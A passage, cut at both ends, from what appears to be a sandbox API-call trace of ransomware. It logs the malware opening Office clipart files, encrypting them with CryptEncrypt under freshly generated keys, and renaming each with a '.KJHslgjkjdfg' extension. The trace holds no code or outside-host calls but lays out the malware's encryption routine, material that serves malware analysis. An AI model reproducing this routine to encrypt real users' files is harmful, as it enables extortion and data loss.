lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.460] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.460] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.460] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3158, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3158, lpOverlapped=0x0) returned 1 [0196.461] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3160, dwBufLen=0x3160 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3160) returned 1 [0196.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.461] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3160, lpOverlapped=0x0) returned 1 [0196.461] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.461] SetEndOfFile (hFile=0x130) returned 1 [0196.464] GetProcessHeap () returned 0x2ef0000 [0196.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.464] GetProcessHeap () returned 0x2ef0000 [0196.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.kjhslgjkjdfg")) returned 1 [0196.465] CloseHandle (hObject=0x130) returned 1 [0196.465] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0196.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.465] GetProcessHeap () returned 0x2ef0000 [0196.465] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.465] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.465] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.467] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.467] GetProcessHeap () returned 0x2ef0000 [0196.467] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.467] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.467] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.468] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.468] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.468] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.468] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.468] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.468] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.468] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.468] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2994, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2994, lpOverlapped=0x0) returned 1 [0196.469] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29a0, dwBufLen=0x29a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29a0) returned 1 [0196.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.469] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x29a0, lpOverlapped=0x0) returned 1 [0196.469] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.470] SetEndOfFile (hFile=0x130) returned 1 [0196.472] GetProcessHeap () returned 0x2ef0000 [0196.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.472] GetProcessHeap () returned 0x2ef0000 [0196.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.kjhslgjkjdfg")) returned 1 [0196.473] CloseHandle (hObject=0x130) returned 1 [0196.473] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0196.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.473] GetProcessHeap () returned 0x2ef0000 [0196.473] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.473] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.474] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.476] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.476] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.476] GetProcessHeap () returned 0x2ef0000 [0196.476] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.476] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.476] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.477] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.477] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.477] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x844, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x844, lpOverlapped=0x0) returned 1 [0196.477] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x850, dwBufLen=0x850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x850) returned 1 [0196.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.477] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x850, lpOverlapped=0x0) returned 1 [0196.477] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.477] SetEndOfFile (hFile=0x130) returned 1 [0196.480] GetProcessHeap () returned 0x2ef0000 [0196.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.480] GetProcessHeap () returned 0x2ef0000 [0196.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.kjhslgjkjdfg")) returned 1 [0196.481] CloseHandle (hObject=0x130) returned 1 [0196.481] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0196.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.482] GetProcessHeap () returned 0x2ef0000 [0196.482] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.482] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.482] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.482] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.482] GetProcessHeap () returned 0x2ef0000 [0196.482] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.482] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.482] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.482] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.484] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.485] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x620, lpOverlapped=0x0) returned 1 [0196.485] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620) returned 1 [0196.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.485] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x620, lpOverlapped=0x0) returned 1 [0196.485] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.485] SetEndOfFile (hFile=0x130) returned 1 [0196.487] GetProcessHeap () returned 0x2ef0000 [0196.487] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.487] GetProcessHeap () returned 0x2ef0000 [0196.487] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.kjhslgjkjdfg")) returned 1 [0196.488] CloseHandle (hObject=0x130) returned 1 [0196.488] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0196.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.489] GetProcessHeap () returned 0x2ef0000 [0196.489] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.489] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.490] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.490] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.491] GetProcessHeap () returned 0x2ef0000 [0196.491] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.491] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.491] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.491] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.491] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.491] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.491] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.491] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.491] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.491] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, 